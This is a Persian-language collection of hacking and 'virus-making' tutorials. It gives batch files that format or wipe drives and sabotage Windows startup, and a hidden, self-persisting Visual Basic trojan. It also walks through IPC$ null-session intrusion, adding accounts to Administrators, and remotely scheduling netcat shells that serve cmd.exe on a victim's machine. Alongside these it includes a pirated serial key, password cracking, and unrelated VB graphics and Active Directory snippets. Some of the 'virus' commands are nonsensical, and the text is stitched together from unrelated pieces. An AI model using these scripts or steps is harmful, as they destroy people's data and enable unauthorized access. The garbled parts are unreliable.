ویروس برای تخریب فلاپی به محض ورود آن به کامپیوتر
روی Desktop راست کلیک کرده و از شاحه New گزینه Shortcut را انتخاب کنید . درون کادر سفید رنگ
عبارت مقابل را تایپ کنید : format a:/autotest سپس کلید Enter را فشاردهید . نام فایل را بنویسید و
دوباره Enter را فشار دهید . با اجازه ویروس آماده است .
ویروس برای فرمت درایو c:
یک Notepad باز کنید و عبارات زیر را درون آن تایپ کنید :
@echo off
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo format /autotest c:/q>nul >>c:autoexec.bat
call attrib +r +h c:autoexec.bat >nul
exit
سپس آن را با هرنامی که دوست داشتید با پسوند .bat ذخیره کنید . با باز شدن این ویروس کل
اطلاعات auto.exe پاک می شود و'format /autotest c:/q' جایگزین این اطلاعات می شود .که در نتیجه
هنگام بالا آمدن ویندوز بطور خودکار ویندوز پاک می شود .
ویروس برای تخریب ویندوز
یک Notepad باز کنید و عبارات زیر را درون آن تایپ کنید :
C:
cd winnt
اگه ویندوزXP هست بجای CD Winnt بنویسید CD Windows
آن را با پسوند .bat و با هر نامی که دوست داشتید ذخیره کنید . وقتی کسی این ویروس رو باز کنه
هیچی نمی شه اما وقتی کامپیوتر رو ریستارت کنه ویندوز دیگه بالا نمی آید ./
ساخت ویروس برای صفرکردن تاریخ و ساعت کامپیوتر
ابتدا یک Notepad به نام time0.bat باز کنید و عبارات زیر را درون آن تایپ کنید :
@Echo off
time=0:0:0
دوباره یک Notepad با نام Date0.bat باز کنید و عبارت زیر را درون آن تایپ کنید :
@ECHO OFF
date=10-10-10
سه باره یک Notepad با نام Comment.bat باز کنید و عبارات زیر را درون آن تایپ کنید :
@echo off
echo I AM A VIRUS
echo SEAT AND SEE MY POWER!!!...
pause
یک Notepad دیگر با نام help.bat باز کنید و درون آن عبارات زیر را تایپ کنید :
START TIME0
START DATE0
START comment
رو ی help.bat کلیک راست بکنین و Create ShortCut رو بزنین روی شرت کات ساخته شده کلیک راست
کنین properties رو بزنین بعد تو قسمت General به جای نام فایلتون بزنین help.txt . ویروس آماده
است و باباز کردن فایل help.txt ساعت و تاریخ کامپیوتر ریست میشه
ویروسی برای از کارانداختن Keyboard(بی خطره)
بوسیله برنامه Notepad دوفایل بسازید : 1- Reg-on.Reg و 2-Reg-off.Reg
فایل اولی برای فعال ساختن ویروس و فایل دومی برای غیر فعال ساختن آن : در فایل اولی تایپ کنید:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]
"Flags"="127"
[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]
"Flags"="3"
"WindowsEffect"="3"
در فایل دومی برای از کار انداختن ویروس از عبارات زیر استفاده کنید :
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]
"Flags"="126"
[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]
"Flags"="2"
"WindowsEffect"="0"
این دوفایل زا با نام های گفته شده ذخیره کنید . ویروس آماده بید جیگر.!!!
البته باید کامپیوتر بعد از اجرای فایل ریستارت شود .
ساختن ویروس برای پر شدن فضای گرافیک و جلوگیری از
اجرای بازیها روی کامپیوتر
یک Notepad باز کنید وعبارات زیر را در آن تایپ کنید :
c/windows/system32/jefo/display/memory/full
سپس آن را با نام tak-hack.bat ذخیره کنید ./
با اجرای این ویروس دیگه هیچ بازی روی کامپیوتر اجرا نمی شه
ساختن ویروس Blaster
نشانه: هنگام اجرا شدن این ویروس پنجره ای همراه با یک تایمر معکوس باز شده و علامت Cancel کردن آن هم خاموش است . و پس از اتمام این ثانیه شمار کامپیوتر ریست می شود و عوارضی برای کامپیوتر دارد . این ویروس خیلی خطر ناک نیست اما برای کامپیوتر ضرر دارد و بیشتر در اینترنت منتشر میگردد . شروع کار:
ابتدا روی صفحه Desktop راست کلیک کرده و New را انتخاب کنید . Short cut را انتخاب کرده و درون کادر عبارت :
Shutdows –s –t xxx را تایپ کنید توجه داشته باشید به جای xxx (به ثانیه) مدت زمانی را وارد کنید که کامپیوتر ریست می شود . سپس دکمه Enter را فشار دهید . نام فایل را مشخص نموده و Enter را فشار دهید
ضد ویروس Blaster:
ابتدا روی صفحه Desktop راست کلیک کرده و New را انتخاب کنید . Short cut را انتخاب کرده و درون کادر عبارت :
Shutdows –a را تایپ کنید . سپس دکمه Enter را فشار دهید . نام فایل را مشخص نموده و Enter را فشار دهید
هر وقت از اینترنت این ویروس برای شما ارسال شد، با باز کردن این فایل از ریست شدن کامپیوتر جلوگیری می شود
در ضمن این ضد ویروس سرعت کامپیوتر را تغییر نمی دهد.
ساختن ویروسی برای Internet Explorer
این ویروس اینترنت اکسپلورر رو فیلتر گذاری می کنه و باعث خراب شدنش می شه . طرز کار:
یک Notepad باز کنید . درون آن جمله روبرو را بنویسید: pouped-blocked-web-exploure-online&offline
بعد اون رو با پسوند .bat ذخیره کنید .
نوعی دیگر از ویروس برای فورمت کردن هارد
با اجرا شدن این ویروس کلیه اطلاعات هارد پاک شده و به هیچ وجه بازیافت نمی شه:
روش کار: یک Notepad باز کنید و در آن بنویسید :
echo off@
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:windows*.*
Echo y | echo a | Echo y | del c:*.*
Echo y | echo a | Echo y | del d:*.*
Echo y | echo a | Echo y | del e:*.*
Echo y | echo a | Echo y | del f:*.*
Echo y | echo a | Echo y | del g:*.*
echo y | copy *.* C:
echo y | copy *.* D:
echo y | copy *.* E:
echo y | copy *.* F:
echo y | copy *.* G:
resrart
حالا با پسوند .bat ذخیره کنید .
ساختن ویروسی ساده ولی در عین حال خطرناک
این ویروس ساختنش کاری نداره ولی اگه کسی بازش کنه .............. به سمت بهشت زهرا ارسال می شه . حالا طرز کار : یکNotepad باز کرده و درون آن بنویسید : Format c:/autotest بعد با پسوند .bat ذخیره کنید . این ویروس موقع اجزا شدن درایو C رو فرمت می کنه به طوری که نه می شه اطلاعاتی توش ریخت نه می شه فرمتش کرد .
خب ببینم امروز چی داریم یه برنامه برای ایجاد افکت روی عکس یعنی وقتی یه عکس داره تبدیل می شه به عکس دومی به شکل
زیبایی محو بشه.خب برای هر چیز قشنگی باید زحمت کشید
پس با جدیت شروع کنید تو کادر عکسPictureبه فرم اضافه کنید سپس
خاصیتAutoReDrawعکس اولیه روTrueودومیه رو Falseکنید تا تصویر بعد از طراحی باقی بمونه
ویک دکمه که باید بازدن اون افکت اجرا بشه.یه ماژول اضافه کنید و کد زیر رو براش بنویسید
دو تا عکس به سلیقه خودتون داخل کادر عکس ها بندازید سعی کنید هم اندازه باشند
در خط اول کد های فرم کد های زیر رو بنویسید
Option Explicit
Dim hBrush As Variant
Dim PixelSetSequence(64) As Integer
Dim DissolveStep As Long
Const NumberOfSteps = 8'--------------------------------------
Private Function CreateDissolveBrush(DissolveStep As Long) As Long
Dim hCompBitmap As Long
Dim BrushBitmapInfo As BITMAPINFO
Dim Counter As Integer
Dim PixelData As String * 32
Dim Dummy As Long
Dim Row As Integer
Dim Column As Integer
With BrushBitmapInfo.bmiHeader
.biSize = 40
.biWidth = 8
.biHeight = 8
.biPlanes = 1
.biBitCount = 1
.biCompression = 0
.biSizeImage = 0
.biXPelsPerMeter = 0
.biYPelsPerMeter = 0
.biClrUsed = 0
.biClrImportant = 0
End With
' Set the color table values for
' the brush to black and white.
With BrushBitmapInfo.bmiColors(0)
.rgbBlue = 0
.rgbGreen = 0
.rgbRed = 0
.rgbReserved = 0
End With
With BrushBitmapInfo.bmiColors(1)
.rgbBlue = 255
.rgbGreen = 255
.rgbRed = 255
.rgbReserved = 0
End With
' Initialize brush bitmap pixel data to all white.
For Counter = 0 To 7
Mid$(PixelData, Counter * 4 + 1, 1) = Chr$(&HFF)
Next Counter
' Set the bits representing the black pixels to 0.
For Counter = 1 To DissolveStep * (64 / NumberOfSteps)
Row = (PixelSetSequence(Counter) - 1) 8
Column = (PixelSetSequence(Counter) - 1) Mod 8
Mid$(PixelData, Row * 4 + 1, 1) = Chr$(Asc(Mid$(PixelData, Row * 4 + 1, 1)) And (Not (2 ^ Column)))
Next Counter
' Convert the DIB into a DDB and create the pattern brush.
hCompBitmap = CreateDIBitmap(Disolve1.hDC, BrushBitmapInfo.bmiHeader, CBM_INIT, PixelData, BrushBitmapInfo, DIB_RGB_COLORS)
CreateDissolveBrush = CreatePatternBrush(hCompBitmap)
Dummy = DeleteObject(hCompBitmap)
End Function'------------------------------------------------
Private Sub Picture2_Paint()
Dim hRgn As Long
Dim Dummy As Long
Dim hOldBrush As Long
hBrush = CreateDissolveBrush(DissolveStep)
hOldBrush = SelectObject(Picture2.hDC, hBrush)
Dummy = BitBlt(Picture2.hDC, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture1.hDC, 0, 0, &HAC0744)
'Dummy = StretchBlt%(Picture2.hDC, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture1.hDC, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, &HAC0744)
Dummy = SelectObject(Picture2.hDC, hOldBrush)
Dummy = DeleteObject(hBrush)
End Sub'-----------------------------------
Private Sub CreatePixelSetSequence()
Dim Counter As Integer
Dim PixelNumberString As String * 5
Const PixelListFile = 1
Open App.Path & "PixelLst.TXT" For Input As #PixelListFile
For Counter = 1 To 64
Input #PixelListFile, PixelNumberString
PixelSetSequence(Counter) = Val(PixelNumberString)
Next Counter
End Sub'------------------------
حالا یه تایمر به فرم اضافه کنید و خاصیتIntervalآن را به56وEnabledآن را به Falseتغییر دهید
وبه ترتیب برای دکمه ها کد های زیر را بنویسید
رویداد کلیک دکمه
Command1.Enabled = False
Timer1.Enabled = True
رویداد لواد فرم
CreatePixelSetSequence
DissolveStep = 0
رویداد کلیک عکس دومی
If DissolveStep < NumberOfSteps Then
DissolveStep = DissolveStep + 1
Picture2_Paint
End If
روداد تایمر کنترل تایمر
If DissolveStep < NumberOfSteps Then
DissolveStep = DissolveStep + 1
Picture2_Paint
Else
Timer1.Enabled = False
End If
End Sub
برنامه ای که قرار بگم با استفاده از یک کلیک به ادرس اینترنتی مورد نطر شما برود
این برنامه برای افرادی مناسب است که برنامه ای ساخته باشند و بخواهند در برنامه
ادرس سایت یا وبلاگ خود را بگذارند .
ویژوال بییک را اجرا کنید Standard EXE را انتخاب و open را بزنید حال در منوی projectدر بالای صفحه گزینه References را بزنید گزینه microsoft shell contros and automation را پیدا کنید وتیک بزنید و در آخر ok کنید حال روی form1 دابل کلیک کنید ودر قسمت بالای صفحه(general نام دارد) عبارت زیر را تایپ کنید
Dim a As New Shell
حال یک کنترل command button را به form1 اضافه کنید وخاصیت caption ان را برابر go to web کنید و enter را بزنید روی command button دابل کلیک کنید
و در پنجره کدنویسی ان فرمتن زیر را تایپ کنید
" a.Open "http://BestVB.Ir
به جای http://BestVB.Ir هر ادرسی را که دوست دارید بنویسیدحال برنامه را امتحان ودر ویندوز قرار دهید.
دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)
ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه
وسایل لازم: فقط یه تایمر
کدها:
Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell"
Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager"
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub
و اما توضیحات:
خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه
اینکار خیلی آسونه. یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :
Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As String) As Long
Private Sub Command1_Click()
tapiRequestMakeCall Text1.Text, "", "", ""
End Sub
حالا برنامه رو اجرا کنید تو TextBox شماره تلفن رو وارد کنید و کلید Command1 رو بزنید، میبینید که شماره گیری توسط خود ویندوز انجام میشه و احتیاجی نیست که شما کاری انجام بدید. موفق باشید.
و جواب میشنوم:net help
توضیحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگیرم، باید بنویسم:The syntax of this command is: NET HELP command -or- NET command /HELP Commands available are: NET ACCOUNTS NET HELP NET SHARE NET COMPUTER NET HELPMSG NET START NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET USER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the network services you can start. NET HELP SYNTAX explains how to read NET HELP syntax lines. NET HELP command | MORE displays Help one screen at a time.
یاnet help time
تا توضیحات بیاد.net time /help
و جواب میاد:net share shanguli_mangul_habbeye_angur
یک خطا رو گزارش داده و یک عدد ۴ رقمی به من داده. برای اینکه بدونم جزئیات خطا چیه، مینویسم:This shared resource does not exist. More help is available by typing NET HELPMSG 2310.
و به من میگه که اشتباه من چه بوده است...net helpmsg 2310
ولی اگه به صورت remote کار میکنید (یعنی یک NetBIOS session تشکیل دادهاید توسط دستور net use که در درس پورت ۱۳۹ هم توضیح داده شده )، بنویسید:net time
که xxx.xxx.xxx.xxx همان ip ی است که session براش داریم.net time \xxx.xxx.xxx.xxx
این کاربرد اول بود که اینو قبل از دستور net view انجام میدیم. میتونستیم یک null Session تشکیل بدیم، به این صورت که قسمت مربوط به username و password رو خالی بذاریم. به این صورت:net use \xxx.xxx.xxx.xxxIPC$ "yechizi" /user:"Administrator"
حالا session تشکیل شده است! کاربرد بعدی اینه که بعد از اینکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و لیست کامل share ها رو بدست آوردم، بیام و یکی از این share ها رو استفاده کنم. مثلا اگه اسم share که لیست شده، SharedDocs باشه، و بخوام یک درایو جدید رو بهش نسبت بدم که بتونم باهاش کار کنم، مینویسم:net use \xxx.xxx.xxx.xxxIPC$ "" /user:""
معنی کاراکتر * اینه که اگه مثلا آخرین درایو در کامپیوتر من ( با احتساب سی-دی درایو ) مثلا G باشه، درایوی که برای share استفاده میشه، درایو بعدی یعنی H باشه. میتونستم اینطوری هم بنویسم:net use * \xxx.xxx.xxx.xxxSharedDocs
خوب حالا میتونم مثل یک درایو محلی باهاش کار کنم. توی درس پورت ۱۳۹ میاومدیم و My Computer رو از دسکتاپ باز میکردیم و با درایو جدید کار میکردیم. چون ما دستورات داس رو یاد گرفتهایم میتونیم با این دستورات هم با اون درایو کار کنیم، مثلا بنویسیم:net use H: \xxx.xxx.xxx.xxxSharedDocs
وقتی کارمون با share تموم شد، باید disconnect کنیم، با این دستور :H: dir ,...
تا ارتباط قطع بشه.net use /delete H:
و مثلا جواب میگیرم:net view \xxx.xxx.xxx.xxx
میبینید که SharedDocs فولدریاست که share شده. حالا با دستور net use میتونم از share استفاده کنم.Shared resources at \xxx.xxx.xxx.xxx Share name Type Used as Comment ------------------------------------------------ SharedDocs Disk The command completed successfully.
و جواب میگیرم:net share
همشون پر واضحاند! خوب حالا میخوام مثلا $C رو از لیست share ها پاک کنم. مینویسم:Share name Resource Remark ------------------------------------------------------------------------------- F$ F: Default share IPC$ Remote IPC D$ D: Default share I$ I: Default share G$ G: Default share E$ E: Default share ADMIN$ I:WINNT Remote Admin H$ H: Default share C$ C: Default share J$ J: Default share The command completed successfully.
اگه دوباره لیست رو بیارم، میبینم که دیگه نیست. میخوام دوباره همون رو share کنم، مینویسم:net share C$ /delete
حالا میخوام مثلا فولدر C:ali رو به اسم info بیام و share کنم، مینویسم:net share C$=C:
حالا اگه لیست بگیرم، میبینم که وارد لیست شده.net share info=c:ali
و مثلا جواب میشنوم:net accounts
تنها قسمتی که نیاز به توضیح دارد، عبارت Lockout است. این یک ویژگی امنیتی است. فرض کنید که کسی میخواد از طریق امتحان کردن تعداد زیادی پسورد برای یک اکانت، پسورد رو پیدا کنه ( Crack کردن ). میتونیم جوری اکانت رو تنظیم کنیم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقیقه locak یا قفل بشه. اسن باعث میشه که کار هکر کند بشه. ولی معمولا اینطوری است که اکانت Administrator جوری هست که هرگز قفل نشه ( توضیحات مفصل رو درس بعدی بخونید ).Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): 42 Minimum password length: 0 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: SERVER The command completed successfully.
و جواب میشنوم:net user
خوب حالا مثلا میخوام راجع به اکانت guest اطلاعاتی بگیرم، مینویسم:User accounts for \computer-name ------------------------------------------------------------------------------- Administrator ali araz ASPNET Guest The command completed successfully.
و جواب میگیرم:net user guest
میبینید که در سطر ۲ تا مونده به آخر ( سطری Local Group Membership ) دقیقا بیان شده که این اکانت به چه گروههایی تعلق داره. دقت کنید که بهجای دستور net user از دستور net users هم میتونید استفاده کنید.User name Guest Full Name Comment Built-in account for guest access to the computer/domain User's comment Country code 000 (System Default) Account active No Account expires Never Password last set 10/27/2003 2:58 AM Password expires Never Password changeable 10/27/2003 2:58 AM Password required No User may change password No Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Guests Global Group memberships *None The command completed successfully.
حالا میخوام همین اکانت رو پاک کنم:net user vahid yechizi /add
دقت کنید که در دستور پاک کردن دیگه لزومی به وارد کردن پسورد نیست. دستور بعدی به ما میگه که چطوری یک اکانت رو وادار کنیم که عضو یک گروه محلی شود.net user vahid /delete
و جواب میشنوم:net localgroup
دقت کنید که ویندوز معمولا هنگام ارائه نتایج دستورات net میاد و اول اسم هر گروه یک * قرار میده تا با اکانتها اشتباه نشه. حالا میخوام ببینم که مثلا در گروه Administrators چه اکانتهایی هست. مینویسم:Aliases for \Computer-name ------------------------------------------------------------------------------- *Administrators *Backup Operators *Debugger Users *DHCP Administrators *DHCP Users *Guests *Power Users *Replicator *Users The command completed successfully.
و جواب میشنوم:net localgroup Administrators
پس سه تا اکانت در حد Admin داریم. حالا میخوام مثلا اکانت ali رو از لیست Admin ها خارج کنم، مینویسم:Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator ali araz The command completed successfully.
و اون اکانت از گروه حذف میشه (میتونید دوباره لیست بگیرید و ببینید که دیگه در این گروه نیست ). حالا میخوام دوباره اکانت ali رو به این گروه اضافه کنم، مینویسم:net localgroup Administrators ali /delete
این دستور از جمله مهمترین دستوراتی است که باید یاد بگیرید. گاهی با اکانتی وارد میشویم و میخواهیم که اونو به حد Admin برسونیم و روش کار همین دستور آخری است ( اینکه اجازه اینکار رو داریم یا نه، بحثی است که بعدا مطرح میشه و گفته خواهد شد که چطوری توسط یک سری exploit مشکل رو حل کنیم). وقتی اکانتی وارد گروه Admin میشه، تمام مزایای همچین گروهی رو یدست میاره.net localgroup Administrators ali /add
تا لیست اونا بیاد. اگه میخوام همه session ها رو خاتمه بدم، مینویسم:net session
این همه session های مرا در کامپیوتری که درش این دستور اجرا شده، با سایر کامپیوترها قطع میکند. اگه فقط بخوام یک session رو با یه کامپیوتر خاص تموم کنم، مینویسم:net session /delete
این در حالتی است که با اون کامپیوتر session داشته باشم. دقت کنید که به جای دستور net session میتونید از دستور net sessions یا net sess استفاده کنید.net session \xxx.xxx.xxx.xxx /delete
در این حالت اون پیغام منو میگیره. اگه بخوام به همه اونایی که الان session دارند، همین پیغام رو بفرستم، مینویسم:net send Administrator Salam Refig
و پیغام و همه میگیرند. این دستور باید به صورت local یعنی از طریق یک shell اجرا بشه.net send /users Salam Refig
و جواب میشنوم:sc \xxx.xxx.xxx.xxx start schedule
و schedule service شروع میشود. دقت کنید که کلمه start برای شروع یک سرویس است و کلمه schedule یعنی schedule service پس با این دستور schedule service در کامپیوتر قربانی فعال میشود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قربانی است. همون ip که یک session باهاش داریم.SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0
۲- at :[SC] StartService FAILED 1056: An instance of the service is already running.
دقت کنید که هم sc و هم at رو از کامپیوتر خودم اجرا میکنم، پس لزومی به upload اونها به کامپیوتر قربانی نیست. و نیز اینکه برای اجرای این دستورات باید اکانت ما در حد Administrator باشد و نیز NetBIOS روی اون کامپیوتر باز باشد.at \xxx.xxx.xxx.xxx 11:25P "c:something c -l -p 22 -e cmd.exe"
و جواب میشنوم:at \xxx.xxx.xxx.xxx
اگه بخوام این task رو از لیست schedule پاک کنم، مینویسم:Status ID Day Time Command Line ------------------------------------------------------------------------------- 1 Today 12:25 PM c:something c -l -p 22 -e cmd.exe
دلیل اینکه از عدد 1 استفاده کردم، این است که در لیستی که در بالا بدست اومد، ID برای این task عدد 1 بود.at \xxx.xxx.xxx.xxx 1 /delete
همانند at ، این دستور هم میتونه به صورت لوکال اجرا بشه ( خودتون میدونید چطوری ! )soon \xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"
و اگه بخوایم همین کارو در کامپیوتر قربانی به صورت remote انجام بدیم، مینویسیم:REG ADD HKLMSoftwareMyCoArazPoint=20.00
حالا اکه بخوام یک همین کلید رو پاک کنم، در حالت لوکال مینویسم:REG ADD HKLMSoftwareMyCoArazPoint=20.00 \xxx.xxx.xxx.xxx
و در حالت remote مینویسم:REG DELETE HKLMSoftwareMyCoAraz /FORCE
تغییر دادن یک ورودی هم دقیقا مثل اضافه کردن اونه. فقط به جای reg add از reg update استفاده میکنیم.REG DELETE HKLMSoftwareMyCoAraz \xxx.xxx.xxx.xxx /FORCE
و بعد مینویسم:HKLMSoftwareMyCoAraz Point = REG_SZ 20.00
این دستور معمولا موقعی به کار میره که چند entry (ورودی) رو میخواهیم به یک key (کلید) اضافه کنیم. در این حالت اگه بخوایم این کارو توسط reg انجام بدیم، چند بار باید دستور رو تکرار کنیم.regini -m \xxx.xxx.xxx.xxx Araz.ini
و جواب شنیدم:gettype /v
ت- ابزارهای کار با اکانتها :Windows NT [Enterprise/Terminal] Server Non-Domain Controller
و مثلا جواب میشنویم:whoami
در این حالت، بالاترین اکانتی ( از نظر سطح اختیارات ) که لیست شود، اکانتی است که ما با اون بالا اومدیم.[Group 1] = "Everyone" [Group 2] = "LOCAL" [Group 3] = "IUSR_xxxx-yyyy" ,...
۹- showgrps :local Administrators \xxx.xxx.xxx.xxx
و جواب میشنوم:showgrps
مشخص میشه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.User: [computer-nameAdministrator], is a member of: computer-nameAdministrators Everyone
و جواب میشنوم:showgrps guest
وقتی میخواهیم بدونیم که فلان اکانت متعلق به چه گروههایی است، اینکار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولی اگه بخوایم بدونیم که خودمون با چه اکانتی بالا اومدیم، اینکار با net user قابل انجام نیست.User: [[computer-nameguest], is a member of: Everyone [computer-nameGuests
ث- ابزارهای بررسی مجوزهای NTFS:showmbrs Administrators
اگه جواب زیر رو بشنوم، یعنی FAT32 است:perms administrator c:
اگر هر جواب دیگهای میاومد، میشد: NTFSc: perms: #-------
و مثلا جواب میشنوم:perms guest d:wwwroot
این یعنی هیچ دسترسی به اون برای اکانت guest وجود ندارد. اگه میاومد:d:wwwroot perms: No Access
باید عبارت RWXDPOA# تفسیر بشه. هر کدام از این حرفها این معنی رو میده:d:wwwroot perms: #RWXDPOA
با این تفاسیر میتونید ببینید که مثلا اکانت guest چه مجوزهایی داره. کافی است تک تک خروف رو با جدول بالا تطبیق بدید. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داریم ) و ...R Read W Write X Execute D Delete P Change Permissions O Take Ownership A General All - No Access * The specified user is the owner of the file or directory. # A group the user is a member of owns the file or directory. ? The user's access permisssions can not be determined.
کلید s/ مشخص میکنه که زیرشاخهها رو هم میخوام تست کنم. اگه اونو حذف کنم، فقط مجوزهای فولدر مشخص شده بیان خواهد شد. حالا اگه جواب بیاد:showacls /s /u:guest j:wwwroot
یعنی که اون درایو به صورت FAT32 فرمت شده پس بررسی مجوزها محلی از اعراب نداره! ولی اگه NTFS باشه مثلا میاد:Error: Volume type incorrect [FAT32]
دقت کنید که فولدر خیلی پر زیرشاخه رو انتخاب نکنید که جوابها بقدری زیاد میشه که حتی نمیتونید بخونید. برای تفسیر از جدول زیر استفاده کنید:User: [guest] has the following access to directory [j:wwwroot]: j:wwwroot j:wwwroot j:wwwrootali NT AUTHORITYSYSTEM Read [RX] Everyone Read [RX] NT AUTHORITYSYSTEM Read [RX] CREATOR GROUP Read [RX] BUILTINAdministrators Change [RWXD] CREATOR OWNER Change [RWXD] ,...
ج- ابزارهای کار با share ها :R GENERIC_READ W GENERIC_WRITE X GENERIC_EXECUTE ) D DELETE A GENERIC_ALL d FILE_READ_DATA (directory) l FILE_READ_DATA (file) s SYNCHRONIZE r FILE_READ_DATA w FILE_WRITE_DATA a FILE_APPEND_DATA rE FILE_READ_EA wE FILE_WRITE_EA fx FILE_EXECUTE
اگه میخواستم بهجای فقط خواندنی، اجازه تغییر هم صادر کنم، بجای read میشد: Change حالا میخوام همین share رو پاک کنم. مینویسم:rmtshare \xxx.xxx.xxx.xxxmydata=c:info /GRANT guest:read
۱۴- netwatch :rmtshare \xxx.xxx.xxx.xxxmydata /DELETE
۱۶- srvcheck :netcmd \xxx.xxx.xxx.xxxAraz
دقت کنید که بهصورت remote کار میکنیم و نیاز به یک netbios session داریم.srvcheck \xxx.xxx.xxx.xxx
امروز قصد داریم ساختن یوزر یا شناسه کاربری را در اکتیو دایرکتوری برای شما عزیزان آموزش دهیم:
در این مرحله یک user ایجاد میکنیم تا به واسطه آن به server متصل شویم
start->Programs->Administrative Tools->Active Directory Users and Computers
ویا Run->dsa.msc
سپس پنجره active directory users and computers نمایان میشود,روی dell.com راست کلیک کرده و new->user را انتخاب میکنیم
پس از اینکه نام user مورد نظر را وارد کردیم و next را زدیم به برای تعیین password به صفحه زیر وارد میشویم
پس از اینکه password وگزینه مورد نظر را انتخاب کردیم ساختن user پایان میگیرد
گزینه هایی که برای تعیین password قابل انتخاب هستند به شرح زیر میباشد
User Must Change Password At Next Logon
به اجبار user در اولین log on باید password را عوض کند
User cannot change password
این گزینه جلوگیری میکند از عوض کردن password بوسیله user
Password never expires
این گزینه باطل میکند تمامی تنظیمات مربوط به انقظای password را
Account is disabled
بوسیله این گزینه Administrator میتواند جلوگیری کنداز ورود user به سیستم
توجه داشته باشید بوسیله این گزینه account فعال میباشد اما user نمیتواند logon کند
یکی از مشکلات بزرگ ویندوز که در Service pack های ویندوز هم وجود داره IPC هست حالا ما با استفاده از این روش کارمون را شروع میکنیم . یکی از نرم افزار های مورد نیاز GFI:LANguard Security Scaner هست که بخاطر قدرت و کارایی این برنامه را پیشنهاد میکنم که فقط باید یکسری تغییرات رو روی آن انجام بدین این برنامه را از سایت زیر داونلود کنید :
http://www.kyzj.com/
Serial:6J7FF-OL03J-9OHQB-1Q0XZ-F7PLZKH5TY-K1GSN-7BT5F-78A0B-CSKYU
البته ورژن 3.3 هم هست ولی من ورژن 3.2 را پیشنهاد میکنم که در سایت بالا ورژن 3.2 وجود دارد و سریال بالا نیز مربوط به همین ورژن هست حالا باید یکسری تغییرات در این برنامه بدیم .
1.option را انتخاب کنید و به قسمت Scanning بروید و این شاخه را انتخاب کنید Configure ports و حالا در قسمت :
Port number/range:1025
port desciription:network blackjacket و حالا ADD PORT را بزنید .
در قسمت New scan باید یک Range ای پی رو اسکن کنید تا یک ای پی با مشخصات زیر پیدا شود
پرت های باز 1025,139 را داشته باشد .
IPC share نیز داشته باشد حالا باید به این ای پی به صورت زیر کانکت شوید :
1.در قسمت Run این جمله را وارد کنید CMD
2. دستور زیر را وارد کنید :
Net use IpadressIPC$""/user:Administrator
اگر دستور زیر را دریافت کردین Successfully The Command was completed
از ای پی مورد نظر Share گرفتین و در اختیار شماست اما در غیر اینصورت Share دارای پسوورد میباشد که من برای کرک کردن پسسوورد از این برنامه استقاده میکنم : PQWAK که این برنامه رو از سایت Download.com دریافت کنید .
بعد از کرک از پسوورد بدست آمده اینگونه استفاده کنید Net use ipadressIPC$ "password"/user:administrator
در صورتیکه میخواهید با Telnet کانکت شوید مراحل زیر را طی کنید . در قسمت RUN تایپ کنید Regedit
به این آدرس بروید HKEY_LOCAL_MACHINE--Software--Microsoft--Telnet Server--1.0NTLM
حالا Value date این فایل رو به این جمله تغییر دهید : 21
در قسمت بعدی به RUN بروید و این دستور را تایپ کنید TELNET دستور زیر را وارد کنید Telnet ipadress
در ادامه اگر از شما یوزر و پسوورد خواست یوزر را Administrator و پسسورد را خالی بگذارید
